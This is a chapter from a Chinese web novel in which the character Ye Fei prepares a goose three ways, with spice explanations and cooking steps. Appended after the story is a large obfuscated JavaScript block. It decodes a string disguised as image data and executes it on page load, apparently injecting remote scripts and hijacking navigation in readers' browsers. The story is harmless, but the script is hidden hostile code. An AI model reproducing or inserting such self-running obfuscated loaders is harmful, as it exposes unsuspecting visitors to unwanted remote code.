第418章 三吃鹅(五章)(2 / 2)

只是他并没有舍得扔,而是放在了一旁。

叶飞指了指垃圾桶,道:“放那里面。”

子弟兵:“………叶神,用不着这么铺张浪费吧?鹅的内脏可都是好东西啊,鹅心可以预防呼吸道疾病,尤其是这鹅肝,可是和鱼子酱,松露并成为三大珍品的好东西啊,就这么扔了?”

叶飞很认真的点点头,道:“扔了,我们今天做的是金刚鹅,用不着这玩意。”

“我……给我可以不?”

“不给。”

“………不要拒绝的这么直接吧?好尴尬的。”

“嗯,那就委婉一点,不能拿走。”

“……..汗,还不是一个样?扔了扔了。”

见叶飞不让自己拿走,子弟兵心疼的将鹅肝和鹅心扔进了垃圾桶。

叶飞这时走了过来,一伸手将清理好的鹅拎起来,然后放在了操作台上的砧板上,道:“剩下的我来吧。”

子弟兵嗯嗯点头,因为他只能做到这些了,下面就开始做这道金刚鹅,他插不上手。

在一旁洗了洗手,然后很没节操的在达哈来的围巾上的擦了擦手,站在一旁认真的看着。

达哈来好想和子弟兵打架,要不是觉得打不过他,他一定会给他一闷砖,这人太操蛋了,你刚杀过鹅的手,你在我围巾上擦?

叶飞将清理好的鹅放在砧板上,并没有动,而是一转身从另一个储物格里面拿配料,葱姜蒜,三样必不可少,然后是精盐,味精,大骨汤包等,最后他又拿出来两样很特别的东西,一个是白色的圆球一样的果实,另一个则是红红的圆圆的东西。

子弟兵看到这两样东西,就知道叶飞做的这金刚鹅非常正宗了。

“草果和白扣?”

叶飞点头道:“白扣,性温有辛味,不仅可以去腥味添香气,同时对人体也有好处,可以消食理气,而草果同样不仅可以作为一种香料,同时也可以健脾消痰,是种很不错的配料。”

子弟兵当然知道这些。

可是达哈来不懂,这货站在一旁看着,就好像一个好奇宝宝一样,听叶飞解释听的一愣一愣的,在这家伙的脑海中,现在始终浮现着这么一句话——华夏果然是个神奇的国度。

这些东西在他们国家听都没听说过,别说有人用了,你看看人家,不仅会用,而且还知道这玩意对人体的好处和作用,尼玛,怪不得国内的那帮破厨师做不出来真正的美食,这些好东西他们都不会用啊。

将辅料全都拿出来之后,叶飞这才开始处理鹅肉。

本来做这道金刚鹅用不了这么多的鹅肉,但是叶飞担心不够吃,所以整只全都用上了,当然,他在心中也将配料的分量都计算好了,甚至有好几种系统提供的都不够,他又向系统悄悄买的。

就见他左手翻动鹅肉,右手里面拿着一把小巧而又锋利刀,第一步并没有分割鹅肉,而是先将鹅肉外层的皮给削了下来,放在一旁备用。

这才拿过一把后背大刀,从中间将鹅一分为二,一份同样放在一旁备用,而另一份则是放在一个大盘子里。

做好这些,就见叶飞拿过一口大号的炒锅,往里面添加了半锅水,将一部分的调料放了进去,然后开大火烧了一分钟,紧接着将精盐放入适量,这才将半只鹅放了进去,紧接着锅盖盖上,炉火改小,开始小火慢熬。

二十分钟过去了,锅里的水早就开了,甚至里面调料的香气都开始弥漫出来,将整个空间给笼罩了起来。

叶飞这才掀起锅盖,将鹅肉捞了出来,此时的鹅肉已经被煮的熟透了,糯软松烂。

他小心的将这鹅肉放在一个盘子里,让它慢慢的变凉。

趁这个功夫,叶飞将鹅皮切成了一个个的正方形,然后将其放在一个碗里面,紧接着叶飞往碗里面放入料酒,精盐和味精等调料,开始让它浸味,等到时间差不多的时候,开始用油浸炸。

所谓浸炸,就是将锅放在火上,然后锅里放上油,趁着油刚刚有温度的时候,将要被炸的食材放入油锅内,随着油温的升高,食材被慢慢的炸的金黄酥脆的烹饪手法,就是浸炸。

叶飞将锅放在炉灶上,然后往里面加入了适量的极品花生油,然后等到油有温度的时候,直接将浸味好的鹅皮放了进去。

没多久,油的温度升高,在鹅皮的周围开始出现金黄的油泡,随着油泡越来越多,鹅皮也开始有白嫩转向金黄色。

等到鹅皮的两面全都变得金黄,而且有些微微卷起的时候,叶飞用笊篱将其捞了出来,然后放在另一个大盘子的中央。

做完这些,叶飞将刚才已经冷却好的鹅肉全都切成了肉丁,将其均匀的摆放在了鹅皮的一面,这才开始处理另外一半鹅肉。

首先是鹅肉切块,每一块都是三四厘米左右,然后将炒锅放在了炉灶上,里面加入了适量的油,大火将油烧至八成热,直接将鹅肉块倒进去开始猛炒。

等到鹅肉被炒的有些干的时候,往里面加入料酒适量,继续炒,三四分钟后,将酱油和盐放进去,炒均匀。

这个时候,叶飞将大蒜先放了进去,紧接着将汤包打开,鲜汤放入,又稍微加了一点水,直接将锅盖盖了起来,开始闷煮。

这个步骤的时间有点长,叶飞用了十二三分钟,这才打开锅。

再看锅里面,本来已经被爆炒的有些发干的鹅肉块,在汤汁的滋润下,再次变得柔嫩起来,随着汤汁中气泡的破裂,一块块已经熟透的鹅肉不停的颤动着,非常诱人。

可是这还不是叶飞最终所需要的东西,还要继续做。

将这些鹅肉盛出来,叶飞将辣椒倒进锅里,然后加入适量盐,等到炒出辣味的时候,将鹅肉又倒了进去,开始入辣味。

片刻后,叶飞从一旁拿过一只小碗,然后里面放入适量的淀粉,加入水搅拌之后,均匀的倒入了锅里面,稍微加热之后,直接将锅里的鹅肉盛出来,放在了金黄色鹅皮的另一面,和刚开始做的鹅肉遥相呼应。

直到这时,叶飞才将炉火关上,然后用一个小碗调制了一碗酱汁,放入一个小碟子里面,将小碟子轻轻的放在鹅皮的旁边,这是要用鹅皮沾着吃的。

做完这些,叶飞拍拍手,刚要说做好了,突然就见整个盘子上万里飘香技能上线,一个三种色彩的光团出现,然后爆开。

等到光团消失之后,叶飞才说道:“海镇金刚鹅,其实并不是一道美食,它是一种美食的统称,今天,我们就选择性的做了三个口味,是的,如果严格说起来的话,我们这最有一道美食可是有三道美食组合而成的,既然是三种美食组合,那么我们就给它起个新的名字吧,就叫三吃鹅,怎么样?”

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();